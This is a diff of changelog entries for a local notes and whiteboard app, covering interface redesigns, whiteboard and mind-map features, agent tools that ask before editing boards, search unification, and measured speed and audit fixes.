+- Quick sketch: more room under the title and close button, and a quieter toolbar, a soft tint with no border and no lines between its groups; the white ink dot has a ring so it shows on a light bar, and the black one on a dark bar (INBOX 620).
+- The top bar and the status bar, polished (INBOX 618). The spaces picker is a quiet control the shape of a tab, with no box; the tab you are on is marked by its fill alone, not also drawn heavier; the logo is a smaller tile; Quit is quieter than the other icons until you point at it. In the status bar the note and reminder counts are quiet, Agent, Guide and Find are icons (hover one for its name and keys) with Commands the one worded button, and back, forward and history sit with undo and redo as one group, without the line between them.
+- Notes: the edit form is redesigned again (INBOX 616). The title is large text with no box of its own; under it one line of properties, the category chip then the tags as small padded chips and Add tag, with no boxed field and no # icon; the formatting strip is one row of icons (Bold, Italic, Strikethrough and Code are icons now, not typed letters) that never folds into an empty band, the rest behind More, in Capture too; Related folds into one "3 suggested links" line until opened; the foot is Attach a link and the word count, then Cancel and Save. Attach a link works: it opens the bookmark picker, and the link you pick shows under the text as a reference. Before, it put a list into a panel that was hidden while the note had no reference, so the press showed nothing.
+- Scratchpad: 433 one-off sweeps, seed scripts and outputs deleted (1,394 tracked files to 963, 9.7 MB to 8.2 MB); git history keeps them. `scratchpad/cleanup_inventory.py` marks each file KEEP or DELETE, `scratchpad/README.md` states the rule and how to retire a sweep once its finding is here, and `tests/test_scratchpad_size.py` caps the tracked count at 1,003.
+- Dialogs: every dialog's buttons at the foot are one height and in one order (INBOX 599): Cancel or the other quiet choices first, the one filled action last, at the right. Before, eight dialogs (New space, Delete space, templates, Quick note, the word goal and others) drew their Cancel 40px and their action 38px beside the confirm box's 32px, and Extract to notes and Improve writing put the filled action first, at the left.
+- Notes: the edit form is one composition (INBOX 606). The title, the formatting strip and the text are one box, like the capture box; tags are chips you add with Enter or a comma and remove with a press; the category is its chip with a menu; Cancel and the filled Save sit at the right of the form's foot with Attach a link as an icon at its left; each related note has a quiet + to link it instead of a boxed Link button. Measured at 1440: Save was mid-row before Cancel, 3 boxed buttons under the form, 0 now; on a phone the New note button no longer floats over Save.
+- Startup: about 8 KB less script (gzipped) loads before the app is usable. The Settings window's save and apply handlers, the "m" chord's guide, the duplicate finder, the palette's notes rows, the code highlighter and the board and note pickers now load with the screen that alone uses them; nothing on screen changes. The size caps in the tests are lowered to the new measures.
+- Command palette: notes and documents come from the same search engine as Find anything, so a typo ("gardn") finds the note, a word inside a document finds the document (even before the Library has been opened), and notes past the page the browser holds are found. Typing still shows the in-memory matches at once; the engine's answer lands a moment later and leads the group.
+- Library search: the Semantic filter asks the same search engine as the Notes tab and Find anything (words, meaning and links ranked together) instead of a separate cosine-only list, so the three boxes agree on what a question finds. It still only adds notes to what the words matched.
+- Notes search: the filter understands has: (link, file, image, reminder), space: and kind:, asked of the same search engine as Find anything (before, each was read as a plain word and matched nothing); and the Semantic switch ranks through that engine too, shows the notes it found by meaning even when they share no word with the box, and keeps its best-first order under Newest first. Before, the list threw away its own semantic results unless they also contained the typed words.
+- Settings: every pane opens on one bar, like the Library's views (INBOX 599): the pane's title, its jump links (Your skills, Add your own, ...) and its ? in one row that stays at the top as you scroll, where before a large title sat over a separate strip of links. Background tasks has its title back, and the Logs title is the same size as the others (it was 12px).
+- Library: a document card's menu has Show in graph, which turns the graph's Documents switch on and centres the map on that document, the way a note's already did.
+- Library, AI skills: the dock is one row again down to a 1100 window (INBOX 599). The sort is an icon-and-caret button (the order is still on its tooltip and read aloud), and on a narrow window the All, Yours and Built-in segment shows each icon with its count; before, at 1100 and 820 the segment and a wide Yours first box fell to a second row (90px against 50).
+- Mind maps: import an XMind file (.xmind, XMind Zen and later): Import outline… reads its first sheet with its central topic as the map's root, and each topic's notes. An XMind 8 file is refused with how to get the newer one.
+- Whiteboard: a board in and out as text (W5). Insert, Mermaid or board SVG brings in a Mermaid flowchart (pasted or a .mmd file) as shapes and elbow connectors laid out by depth, or an SVG a board here exported, which now carries the board inside it, so it comes back as shapes and connectors rather than a picture. Export adds Outline (Markdown: each frame a heading over what is in it, in reading order) and Mermaid (a flowchart of what the connectors join).
+- Agent mode: the assistant edits boards (FEAT-12, WHITEBOARD_PLAN decision 29). Seven new tools: move_board_item, edit_board_item (words, line colour, fill) and delete_board_item ask first, like every other tool that changes your work, and each returns an Undo (a delete takes the item's connectors and its Undo puts both back); add_board_shape draws a rectangle, ellipse, diamond or frame; list_library and place_library_item search the board's object library and place from it. 65 tools in all.
+- Whiteboard: the mind map's Outline tab lists the map's topics as an indented tree in sibling order (Enter selects one on the map, Left goes to its parent); it was an empty tab. And an open Layers, Pages or Outline tab now follows the board as it changes, where before it showed the board as it was when the tab opened.
+- Whiteboard: Pages and the hover lock. The sidebar's new Pages tab lists the board's frames in presentation order (WHITEBOARD_PLAN decision 22: frames are the pages); drag a row or press Alt+Up and Alt+Down to reorder, which the presentation follows, Enter goes to the frame and P presents from it. A locked item now shows a faded lock while the pointer is on it, the first press on one says how to unlock it, and right-click on it offers Unlock this item first (INBOX 557a).
+- Whiteboard: every control on a selection's bar sits on one centre line. The Width box sat higher than everything beside it (the app's field margin, which the Size box had turned off for itself alone); now no number field on the bar carries a margin (INBOX 576).
+- Whiteboard: a Format panel, like draw.io's. Ctrl+Shift+P on a board (or Format panel in the selection's More menu, or View) opens it on the right with three tabs: Style (line, width, pattern, fill, opacity, shadow, and a connector's line shape, ends and label place), Text (size, colour, bold, italic and alignment of a text box or of the words in a shape) and Arrange (X, Y, width, height and angle as numbers, flip, and the order, align, spacing, group and lock buttons from the board's command table). Every change is one undo step.
+- Whiteboard: elbow connectors. A connector's line shape (the bar's new Line shape, or the Format panel) can be curved, straight or elbow; an elbow turns only at right angles and goes round the two shapes it joins, a ring in the middle of each run drags in a bend, a bend drags or double-clicks away, and placed library items keep their bends. A connector's label slides along its line by the square at its edge. New ends: the entity-relationship marks (one, one and only one, zero or one, many, one or many, zero or many). With one shape or text box selected, the arrows round it (or Alt+Shift and an arrow) copy it that way and join the two. A selected connector now shows its bar, which it never did, and the bar keeps clear of the sidebar's rail.
+- Whiteboard: an object library, like draw.io's (INBOX 557, 558). The board's new sidebar (the Library button, or the rail on the board's left edge) has the Library, the Notes to drag in as cards, and the Layers. The Library holds built-in sets drawn for this app (General shapes, Flowchart, Arrows, Frames such as Kanban, a retrospective, SWOT and a timeline lane, and 1,530 icons drawn as shapes so they export), with search, Favourites and Recent; click or Enter places a tile in the middle of the view, a drag puts it anywhere, Shift+Enter places it joined to the selection, and placing is one undo step. Save your own with Ctrl+Shift+S or right-click, Library: a selection with its links, a drawn shape, a style, a sticky or text preset, a palette of the selection's colours, a mind map branch, or Board, Save this board as a template; New board then opens a gallery of Blank, the built-in frames and your templates. Libraries export to a file and import with new ids; a picture not in this notebook is left out and counted. A placed item is an ordinary copy: a later change to the library never changes a board. Library pictures and board backgrounds are kept by media cleanup.
+- Whiteboard: Layers. The sidebar's Layers tab lists everything on the board in paint order, cards and text above the drawings, groups with their members; each row hides or shows (H), locks (L), renames (F2) and restacks by drag or Alt+Up and Alt+Down, and Enter selects it and brings it on screen. A hidden item is drawn nowhere, exported nowhere and skipped by search, Select all and Tab.
+- Whiteboard and mind map comments: a thread shows its comments and a quiet New comment button under them, which opens the box with Post and Cancel; Escape or Cancel folds it away, and it folds back after a post. A thread with no comments yet opens straight on the box (INBOX 570).
+- Whiteboard: paste text from any other app onto a board. A link becomes a link box, one line a text box, and several lines (a list, a column from a spreadsheet) a grid of stickies, selected and undone in one step; a picture pastes as before. Items copied on a board also reach the system clipboard as their words, so they paste into other apps (FEAT-09).
+- Whiteboard export: a PNG (or a copy to the image library) can be 1x, 2x or 3x the board's size, 2x by default, and can have a transparent background; the choice is remembered. Exported files are named after the board ("Launch plan.png", "Launch plan (selection).svg") instead of whiteboard-whole.png, and the PDF's print dialog offers the board's name (FEAT-14).
+- Whiteboard: a board's background colour and image are kept with the board, so they show the same in the desktop window, every browser and a backup, and Ctrl+Z undoes a change. Each board had shared one colour per browser, and the image was per browser too and was deleted by "clean up orphaned media"; a background set the old way moves onto its board the first time it is opened (FEAT-06).
+- Whiteboard help, redesigned (INBOX 566): "?" on a board, Board, Keys and controls, or the empty board's card opens one sheet of every key and gesture, in sections (Tools, Move around, Select and edit, Arrange, View, and Mind map on a map), with a search field; each row's words wrap beside a fixed column of key caps, so nothing overlaps or runs off the card at any width (measured at 1440, 1024 and 390, light and dark). The empty board's card is one line and a button instead of the key list that overflowed it.
+- Whiteboard: Bring forward and Send backward move one step (past the next item over or under it) instead of jumping to the front or back; Ctrl+] and Ctrl+[ bring to the front and send to the back, and a shape's order is now the order it is drawn in. The Arrange menu has all four, plus Same width, Same height, Group, Ungroup, Lock and Unlock all; Edit has Cut, Copy, Paste, Find, the item's text and Comment. Every board action is in the command palette (Ctrl+K, "This board") and in the shortcut sheet (?), from one table, so the words and keys agree everywhere (FEAT-07, FEAT-11, FEAT-19).
+
+- Line numbers, in Capture, the note edit form and the documents editor: no boxed column any more. The figures sit in the field's margin, a size under the text, muted and of one width, each on its line's baseline, and the line the caret is on is brighter while you type; a note box numbers its own lines once its editor opens, so a wrapped line keeps one number (INBOX 590).
+- Dashboard, Quick access: the first tile is highlighted by its position, not because it is New note, so whatever you put first is the one marked. Each tile's menu (Customise, Edit quick access) has Highlight: the accent, one of the twelve category colours, or No highlight; the choice is stored per user and Reset quick access clears it. Label and description keep 4.5:1 on every colour in both themes (INBOX 589).
+- Notifications: a pop-up's message and its button are one row with an 8px gap and one centre line (the reading toast's Show it touched its words, 0px), toasts are 24rem wide so a short message and its button fit one line, and every pop-up with a button (Undo, Open it, Show it, Go to it, Change) is kept in the bell with the same button: an opener finds its note, chat, document or board again by id after a restart, an Undo works only while it can still be undone and then says Expired. Each bell row is one grid: the unread dot (now in every look), the icon, the text, and the time where the read circle and remove cross appear on hover, all on the title's centre line (the controls sat 4px low and over the text) with 8px padding on every side (INBOX 584, 585).
+- The companion never sits on the air: when what it was sitting on, standing on or hanging from goes (a sub-tab's toolbar hidden with its view, a board or mind map panned or zoomed under it, a card redrawn), it moves to the nearest good perch within a moment, and what is drawn on a board, a map or the graph is never a perch. Before, on a mind map it stayed seated in the middle of the canvas after a zoom, and on the Library's AI skills on a toolbar that was no longer there (INBOX 582).
+- The companion's small animations hold still for the 400ms a tab or Settings takes to arrive, so the page's frames come first (INBOX 580).
+- Moving around the app is smoother: a tab arrives from 0.4 rather than from nothing (every switch used to show the bare window for three or four frames), every popup (Settings, the palettes, Find anything, a confirm) fades its backdrop in and rises a step into place, and the Graph, Library and Documents show one placeholder the size of the page while their code loads the first time, then fade in whole. Late parts no longer push the page: the Library's Images and Files empty line waits with the placeholders (it jumped 396px down and back on every switch), Chat's empty card waits for its starters, the Timeline's day strip keeps its height, and Settings' model line says Checking the models… until it knows (INBOX 580).
+- Opening the app is one calm sequence: the splash (or the lock screen, once the password is in, its button saying Opening…) stays up while the first tab draws and then fades once over a finished page, never longer than 1.5 seconds. Before, the splash cut out without its fade (and stayed in the page), the status bar jumped from under the header to the foot, and the dashboard's greeting, clock and line about your notebook pushed the page down twice as they arrived. The companion comes in after the curtain lifts, at its own size: its entrances no longer squash or grow it, and Atlas's hello nod no longer draws its head a third larger for a moment (the large, small, large the owner saw at every start; INBOX 577).
+- Mind maps: adding a topic with Tab or Enter is quicker on a big map (the redraw of one add at 300 topics went from 120 to 420ms to 20 to 60ms here); the name opens for typing before the rest of the map shifts, and a hidden style rule that restyled every icon in the app on each change is gone (audit FEAT-02, second pass).
+- Concept maps: a topic made with Tab or Enter (and a new map's root) is still a note that search and Ask find, but Notes and Recently added leave it out, so a forty-topic map no longer puts forty one-word rows at the top of both; the board picker counts what is on the board and keeps the count current as you add (a map counts topics), the Library and the dashboard say links rather than sketches for the lines between cards, and after Enter names a card, typing renames it instead of picking tools (UX-06, audit 2026-10-05).
+- Library: opening the Library tab fetches only the Library's own code; the document editor, the whiteboard and the graph library (about 900 KB gzipped) come with the first document or board you open, or the Boards sub-tab.
+- Layout: the six rules that switched at 900px wide (the header's space name and mark, the chat's answer and records columns, the writing room's two boxes, the documents layout) switch at 820px with the rest of the tablet layout, so a window between 820 and 900 keeps the desktop header.
+- Design checks: the button census is now a sweep that fails when a kind of button (icon-only, ghost, filled, segment, tab, chip) shows up at a height it has not had before, naming the control.
+- Code health: a lint finds every GET that returns a list (or a dict holding one) by what it returns, not by its name, and makes it take a page or say why its size does not grow; On this day reads the five notes it shows instead of every match.
+- Code health: the agent's tool dispatch, the app's start-up, the chat stream and the agent's wrap-up round are split into named steps with no change in behaviour (the longest went from 455, 354 and 334 lines to 302, about 80 and under 270).
+- Code health: the event spec's per-write drivers, the skill harness's folded run and the filing prompt seam moved from the app's modules into tests/ (about 290 lines the app shipped and never called), and an unused timeline cursor encoder is gone.
+- Startup: the graph library (d3) loads with the Graph tab or the Library instead of before the lock screen, and the app's emblem draws on a plain canvas, so the 1 MB p5 library loads only for the dashboard's art widget (about 330 KB gzipped off every launch).
+- Notes: a card's category, Add tags and references chips take a click 2px above and below the chip as well, so each is a 28px target on a desktop while it still looks 24px tall.
+- Suggested links: a note's name is read only for the notes a suggestion names (1.08 s to 371 ms warm at 5,000 notes).
+- Graph: opening the map again with nothing changed reuses the last picture instead of rebuilding it (737 to 149 ms at 5,000 notes); a pin, a visit count, an attachment, a note put on a map, a link's reason or locking the vault still rebuilds it.
+- Editing a note: the save returns before its new text is embedded for search by meaning; the vector is made a moment later on the model's own queue, from the newest text if you kept typing (a real embedding model took 200 to 400 ms of every autosave).
+- Speed at 5,000 notes: a page of reference counts reads only the notes the search index says hold a long label's words (1,112 to 214 ms); the Timeline sends its rows once, not twice, and counts its days in the database (323 to 163 KB, 132 to 100 ms); Find duplicates on a notebook of a few hundred common words compares notes by one matrix product instead of pair by pair (about 160 s to 4 to 7 s) and sends each note's first 1,000 characters rather than the whole text; Library previews read at most the first 4,000 characters of a note.
+- Checks: an animated `filter` or backdrop blur now has to say why above it, as an animated layout property already did (it repaints everything under the surface each frame); the graph node's hover glow, the one there is, says so.
+- The '?' in the Suggestions, Manage tags and Manage categories sheets opens its explanation again (it did nothing: the sheet was built after the page's '?' buttons were wired). Escape closes an open explanation first and the sheet on the next press.
+- Whiteboard: a frame's title can be grabbed at any zoom. Zoomed out to fit a phone it was about 7px tall and a drag aimed at it moved nothing; its hit area now stays at least a touch target tall on screen (44px at the fitted zoom), and the frame, what is inside it and anything selected move together by one amount.
+- More deletes have Undo, from their toast and from the status bar (undo-1005): a reference removed from a note you are editing (it comes back in its place in the list), a note type (with its id and fields), a kind of link (with its key, and every link it was on typed again unless you have given that link another kind since), a chat (whole: its turns, pin, archive and dates) and a space that was empty or whose contents were moved to another (every moved row goes back, and a category merged into the other space is made again with its notes). Deleting a space together with everything in it stays final. Deleting a kind of link now clears it from links in every space, not only the open one.
+- Chat, Web panel: each result's snippet marks the words the search was for (the query's own words without the little ones), built as text nodes so a snippet is never parsed as markup, with the same accent wash a note card's search match uses (BACKLOG section 13).
+- Library, Documents: the more menu has Import a file as a document, which turns a Word file, PDF, spreadsheet, Markdown or code file into an editable document through the existing import route, redraws the list and names any file it could not read; the '?', the Guide's import topic and `tests/test_library_docs_import.py` say so (BACKLOG section 99).
+- Settings, Web search: the '?' now lists what the code does with a search (a browser-like request that never names the app, no cookies kept between searches, the words sent in the request body and not the address, tracking parameters stripped from results, a self-hosted engine keeping the words on your network), and `tests/test_websearch_privacy_copy.py` holds each claim against the module (BACKLOG section 13).
+- Search: the startup backfill and the Settings re-index embed notes in batches of 16 through one batched encode (`EmbeddingService.store_for_entries`) instead of one note at a time, and check for a cancel between batches; the stored vectors are identical (BACKLOG section 11).
+- Docs: BACKLOG.md swept against the code: 97 open items struck as built with their file and line, 3 recorded as decided, 44 whiteboard, documents, graph and harness items pointed at their plans, and 93 given a one-line Next brief or marked as the owner's call; four small ones were built in the same pass (the Web search '?', batched embeddings, Import a file as a document, highlighted web snippets).
+- Agent mode: asking for notes from "this week", "since Friday" or "last month" is counted by the app on your calendar rather than worked out by the model; an edit says what changed and which category the note is still in, so the answer cannot claim a move that did not happen; a note filed under a category you already have is never offered a tool that renames or merges categories; "added to Favourites" is understood as the pin it is rather than flagged as an unsaved note. The Daily review skill no longer spends a step reading the clock.
+- Notes: Capture counts words and reading time instead of characters; Write with Atlas counts the words in each pane and sets the draft in the same font as your thoughts; Escape clears the Ask question (INBOX 63).
+- Chat and Ask: hovering a citation number now also says which words it matched on, so a number pointing at the wrong note shows the wrong words (INBOX 76). Settings, Tools it can use: the list is grouped as Reads your notebook, Changes your notebook, Asks you first and Reaches the web (INBOX 71).
+- Agent mode: every change the assistant makes is checked before and after. A link to a note that does not exist, a retag that changes nothing, or a category that is a misspelling of one you have ("Heath" beside "Health") is refused with a line saying what to use instead, and the notes are read back after each change so a change that did not hold is reported as not done rather than claimed (row 19). Removing a tag now works whatever its case. With Ollama, a small model's first round on an instruction is decoded as a tool call, as it already was with llama.cpp.
+- Under the hood (WORLD_CLASS_PLAN F1, F5, F12): every saved setting is read through one module that never throws on blocked or damaged browser storage and never hands a page a value of the wrong shape (a number that is not a number was how a missing setting once flattened every card); every request to the app goes through one door, so the chat, Guide and log streams, every upload and import, and the exports carry the same sign-in, space and error handling; the notes list has one owner the dashboard waits for instead of loading the same notes twice, and it pages by the server's cursor so a note saved during a long load is not listed twice.
+- Files (WORLD_CLASS_PLAN F10): every reading of a file (its caption, the OCR text, the vision model's reading and each page read in the OCR workspace) is one `readings` view and one route, `GET /files/readings`, and all of it is searchable: an upload read by the vision model, and any page read page by page, could not be found by its words before. Background work (F7): re-indexing the notebook runs on the job pool in a lane of its own, so it no longer holds captions and the filing of new notes behind it.
+- Speed (WORLD_CLASS_PLAN 19.3, 19.5): the whole `EXPLAIN QUERY PLAN` pass at 5,000 notes. In the All spaces view (the default) every list sorted its whole table, because each list index led with the space; twelve indexes on the lists' own orders take the sort away (the Library's activity 76.6 to 4.4 ms, the Timeline's page 35.8 to 0.2 ms, the Library's notes 36 to 0.2 ms). The activity panel lists the next ten waiting jobs of each kind and counts the rest in one row, so dropping 2,000 pictures no longer makes every poll 2,000 rows (347 KB).
+- Skills and other agents (B8, H4): a Markdown file saved in the notebook's skills folder is a skill, listed in Settings, Skills and the chat's Skills menu the next time it opens, without a restart (the file's name is the skill's name, a "## Steps" list its steps, front matter its description, tools and inputs), and Settings says which files did not load and why. The API is also served under `/api/v1` behind the same unlock, and a change made by an outside agent (an MCP client, or a request naming itself in `X-MemoryMap-Agent`) is filed under that agent's name in History and the activity list, not as yours or Atlas's.
+- API contract (WORLD_CLASS_PLAN B7): every paged list takes a `cursor` and answers with `X-Next-Cursor` while there is more, `offset` paging unchanged; the notes list's cursor is a keyset, so a note saved between two pages neither repeats a row nor hides one. A note read carries an `ETag`, and an edit or delete sent with `If-Match` for a version that is no longer current is refused with 412 and the current note, so an outside client cannot overwrite a change it never saw. `GET /capabilities` says what this install has (the transcriber, Tesseract, the Office importer, the embedding backend, the API version).
+- Settings, Search index: the search engine's problem line is a warning notice with its icon. Settings, Models: an address you set that nothing answers says so (Nothing answered at the address, check it) instead of the server isn't running. An available update says how big its download is before you press Update. Suggested links: Link all above 70% says one thing for the lot.
+- Documents on a narrow window: the Edit/Read segment's well grows to the 44px touch height its buttons take, so they no longer hang out of its foot and sit on the row's centre line (INBOX 568).
+- Search and the local model (audit 2026-10-05): the finder and the palette find a note by meaning when no word matches, and through a typo ("gardn"), not only by keyword (ARCH-07, `tests/test_search_recall.py`). Background model work (captions, vision reading, filing jobs, the night and entity passes) waits between its calls while a chat answer streams, so a question waits at most for the one call in flight; follow-up suggestions are not asked for while the next question is already streaming (ARCH-09, ARCH-16 in part, `tests/test_model_gate.py`). A model server that is off fails within 5 s of connecting instead of after 10 minutes (ARCH-17). The context budget counts Chinese, Japanese and Korean text as about a token a character, so a CJK notebook no longer overfills the window and loses the system prompt (ARCH-15). Link suggestions and tensions keep each note's 12 best pairs, not every pair over the threshold (ARCH-11). Import cycles stepped round with `importlib` are counted by a ratchet lint, `tests/test_import_module_cycles.py` (ARCH-10).
+- API and data safety (audit 2026-10-05): `GET /entries` also pages by a cursor (`after`, `X-Next-Cursor`), so a note saved during the read neither repeats nor hides one; offsets still work and the client's switch is the frontend audit's FE-05 (ARCH-04). A request that does not validate answers the app's one error shape, a sentence, `code: invalid` and the fields, and never echoes what was sent; it echoed a password sent as a list (ARCH-12). The bin purge, the event-log compaction and the daily backup start on a thread once the server answers, not before the port opens (ARCH-19). A note sent twice by the offline queue is one note across a restart and two resends at once: `client_key` is a column with a unique index (ARCH-23, migration `a7d3e9c1f5b2`). Library's activity honours the search and the space and no longer loads whole audit rows (ARCH-24). `/export/backup` is an SQLite snapshot, the write-ahead log included, and carries `uploads/` (every attachment) beside `media/`; before, the newest notes and every attachment were missing (ARCH-18). `/graph` and `/changelog` are encoded on the worker thread, not the event loop (ARCH-14, ARCH-25).
+- People and things: merging two names has Undo, in the toast and on the undo stack, from an entity's page and from Suggestions, Names. Undo splits them back exactly: both names, their kinds and other names, every mention on the side it came from (the same rows, a dropped duplicate written back), and anything an earlier merge pointed at the folded name; Redo merges again (INBOX 553(a), `POST /entities/merges/{id}/undo`, `tests/test_entity_merge_undo.py`). Suggestions no longer loads every note to show a list (1.2 s at 5,000 notes for an empty one; audit ARCH-11).
+- "All spaces", the default view, lists from indexes: the notes list, the bin, the archive, documents, reminders, chats and media had indexes only for one selected space, so with All spaces SQLite sorted the whole table on every page (measured with EXPLAIN on the real statements; the chat list's pinned-first order sorted in a space too). The audit log is indexed by action and by date for the corrections and the Library's activity (audit ARCH-05, `tests/test_all_spaces_indexes.py`).
+- Saving a note no longer reads the notebook. Filing by your notebook's words and the kept tag suggestions use a corpus kept between saves and brought up to date by what changed (only edited notes are read and tokenised again), and filing by meaning takes its vectors from the search engine's matrix instead of decoding every stored vector; measured with embeddings up and no chat model, 400-word note, 5,000 notes: 4,300 ms p50 before, 390 to 615 ms after on a machine at load 10 to 13 (61 to 96 ms at 500 notes); `tests/test_save_cost_flat.py` holds the per-save work to a bound. Re-filing a note by hand now teaches filing with no model: two moves out of a category keep notes like it out of that category (WORLD_CLASS_PLAN I7's consumer, claimed built and unwired; the re-files `update_entry` records were also invisible to it). Private notes no longer feed the words filing learns from (audit ARCH-02, ARCH-08, ARCH-20). Search: `GET /search` (the finder and the palette) keeps to the space it is asked in, and "All spaces" leaves out spaces hidden from it (audit ARCH-03, `tests/test_search_spaces.py`).
+- Settings, Models: switching the chat backend keeps semantic search. The embedding service is re-pointed at the new client instead of rebuilt, so a loaded embedding model stays loaded (measured before: `embedding_ready` false and search keyword only until the next save, which then paid the 5 s cold load; audit ARCH-06, `tests/test_backend_switch_keeps_embeddings.py`).
+- Saving while the night pass or the entity pass is asking the model no longer fails: both passes commit before every model call and write each note in a short transaction of its own (measured before: every save during Run now answered 500 after 5.1 s, the busy timeout). A write that does lose the race answers 503 "The notebook is busy for a moment. Try again." instead of Something went wrong (audit ARCH-01, `tests/test_write_lock_during_passes.py`).
+- Layout (audit FE-11, FE-14, FE-19): a window exactly 600 or 720 pixels wide no longer gets both the narrow and the wide rules; the view toggles in every bar and a document's Edit and Read are the 28 pixel minimum tall (they were 24); the sidebar opener below 820 pixels is no longer cut off at the window's left edge; a Timeline row's cut-off preview shows in full on hover.
+- Failed actions are reported (audit FE-12): forgetting a memory, deleting a backup, pinning or deleting a question, clearing history or the server log, redoing a delete and deleting finished reminders now say why when they fail, and a contradiction is only reported linked or dismissed when it was. The dashboard and reminders read the server's times as UTC, as the rest of the app does (FE-16).
+- Reminders and the clear buttons (audit FE-08, FE-18): locking and unlocking no longer stacks another reminder poll each time (after four cycles an idle minute asked for reminders five times), and the clear buttons in Capture, Ask, Chat and the palettes follow their boxes without a once-a-second poll.
+- Graph (audit FE-04): a big map's layout ends. Past 1,500 notes it cools in 120 ticks instead of about 300, and any layout stops 20 seconds after the last thing that moved it (a drag or a reheat starts it again), where a 5,000-note map was still moving after 30 s with the tab at 44% of the main thread. A node under 4 pixels across on screen is drawn as one batched dot per colour instead of its sprite (4,983 of 5,001 at the fitted view); zoomed in, every node keeps its sprite.
+- Notes (audit FE-05): saving, binning, undoing, editing, publishing a draft, linking and a note's filing finishing re-read only the notes they touched (one GET /entries?ids= request) and patch them into the list, instead of re-reading the whole notebook. Measured at 5,000 notes: a save was 26 list requests and 16 s under load, now one 1-note request; the list, its count and the sidebar follow, and a patched list that disagrees with the server's count falls back to the full read. The list's clamp check measures every note before changing any.
+- Library (audit FE-03): opening the Library no longer starts the grammar checker. The load-time paint of an empty editor fetched the 15.9 MB grammar WASM, its worker and the 871 KB word list on every first visit; they now load when a document with text is opened (measured: Library visit fetches none of them; opening a document fetches all three and finds its mistakes).
+- Launch cost (audit FE-01, FE-02): the app's own scripts, stylesheets and page are served with their comments stripped (the files on disk keep them; a scanner, not a regex, proven by identical acorn token streams over every script), and each asset URL is stamped with a hash of its own file instead of a per-launch token. A relaunch now takes all 49 boot assets from the browser's cache (was 0 of 49); an edited file is still a new URL on the next page load. A cold load's assets went from about 2.4 MB to 772 KB; the app's 25 boot scripts from 792 to 329 KB gzipped. The grammar checker's WASM is gzipped once per version (8 MB instead of 15.9 MB on the wire).
+- Small things from the 2026-10-05 UX audit: on a phone a note's category reads whole (the time drops " · edited" first) (UX-13); no menu item shows a tooltip reading "undefined" (UX-14); the Guide sends you to Settings, Import & export, and every Guide badge names its Settings section as the nav does (UX-15); the Library says "words in documents" (UX-16); the status bar says "Notebook ready · AI off" and the first save with no model says it is filed by your other notes (UX-17); the notes dock stays under the sub-tabs as the list scrolls, on a wider screen (UX-18); Highlight in a colour offers the colours to pick (UX-19); the bin is "the bin" everywhere, with a glossary in DESIGN.md (UX-20); the Create dialog shows Ctrl+Shift chords only in the desktop window, where a browser does not take them (UX-21).
+- Status labels app-wide ("Built-in", "Installed", "In use for chat", a file's "Read · N words") are a tinted pill without an edge, matching the meta chips; their tone is the tint (INBOX 553 (c)).
+- Settings, Import & export: a download says so in a toast, the Recent exports list says where browser downloads go and refreshes after a desktop save, and the export and backup groups each say in one line what they are for; Dashboard, Weekly digest: with no model, a line under the button says why it is off, with the Settings link, where only a tooltip did (audit 2026-10-05, UX-11, UX-12).
+- Notes: the Connections column follows the note you are reading: the card you click, or else the one in view as you scroll, which wears a thin accent line at its left; the More menu's switch reads "Connections beside the note you're reading" (INBOX 571).
+- Notes list: Tab walks the controls of one card, the one the arrow keys are on, and then leaves the list; 27 notes were 281 Tab stops, now the card's own five to seven (audit 2026-10-05, UX-10).
+- Notes, Ask and the Guide: a selected question no longer brings up the writing popup (Highlight, Bold) over the tab bar after it is asked (audit 2026-10-05, UX-09).
+- Command palette (Ctrl+K): rows for the recycle bin (it opens the Library with Include the bin ticked), Questions, Ask, Undo and Redo, and each row answers to the words people type for it ("trash", "deleted", "backup", "restore", "theme"), where those found nothing (audit 2026-10-05, UX-08).
+- Ask and the agent: the status bar's wand says Agent, the name of the dialog it opens; with no model, Chat's suggestions say they open in Notes, Ask; the first starter is "What have I saved recently?", which Ask answers from the newest notes with no model (audit 2026-10-05, UX-07).
+- Library, Create: New mind map is a row of its own (it opens the board dialog on Mind map), and New concept map says what it makes, a board of note cards whose topics are saved as notes, instead of calling itself a mind map (audit 2026-10-05, UX-06, in part).
+- Documents: Enter (or Down at the end) in the title moves to the start of the body, as other editors do, from Read view too; it used to type the first line into the title (audit 2026-10-05, UX-05).
+- Search: a one-letter typo that finds nothing is searched as the nearest word in your notes, in Find anything (Ctrl+P) and Filter notes alike, and each says "showing results for" the word; Find anything no longer tells a notebook with notes that nothing is indexed yet when a search has no hits (audit 2026-10-05, UX-04).
+- Timeline and note cards: a day a note mentions sits on that day in every timezone (it was served as UTC midnight, so "on Friday" sat under Thursday 8:00 PM in New York) and reads All day; a time said with the day ("on Friday at 3pm") is kept and shown as written (audit 2026-10-05, UX-02).
+- Reminders: Magic add reads wall-clock times with no AI ("call mum tomorrow at 5pm", "dentist next Friday at 3pm", "pay rent on 1 November", "water plants tonight", "high priority"), so the dashboard's Remind me works on the default install; the wand is no longer disabled without a model, and the AI is asked only for a phrasing the rules miss (audit 2026-10-05, UX-01).
+- Mind maps: Write as a document (the board menu, or the command palette) turns a map into a new document: the central topic is its title, branches are headings, deeper topics lists, a topic's note the paragraph under it, and a card of the map at the top leads back to it.
+- Documents: a page break. The / menu's Page break (written \newpage on its own line) shows as a labelled dashed line, and what follows starts on a new page when you print, save as a PDF or download the HTML.
+- Dashboard: the Boards & maps widget draws the board or map with the most on it large, at its own shape: a small map at a readable size, a tall one in a taller card up to a limit and then fitted whole, its name under it, then the next four as rows (INBOX 553(d)).
+- Documents: a hidden formatting toolbar is easy to bring back: a Formatting button sits in the document's bar while it is hidden, Ctrl+Shift+X shows or hides it, the ⋯ menu says Show formatting toolbar, and the first time you hide it a note says where it went (INBOX 574).
+- Boards and mind maps: the cross-link tool's anchor dots no longer stay on a topic after you switch back to Select; deselecting, Undo, a tab switch or closing a menu clears them (INBOX 573).
+- Mind maps: a topic you have dragged into place (pinned, drawn with a dashed box) keeps the Edge bar the Shape menu says: a Solid bar is solid again instead of dashed like the box (INBOX 569).
+- Boards, mind maps and documents: Undo and Redo survive a reload. Each board, map and document keeps its last 100 steps on this computer, so closing the desktop window or reloading no longer takes Ctrl+Z away; locking the notebook clears them (INBOX 553(b)).
+- Mind maps: paste an indented or bulleted list (from a note, a document or another app) onto a selected topic and it becomes that topic's branch, one topic per line, nested by indentation; one Ctrl+Z takes it back (audit FEAT-09, the map half).
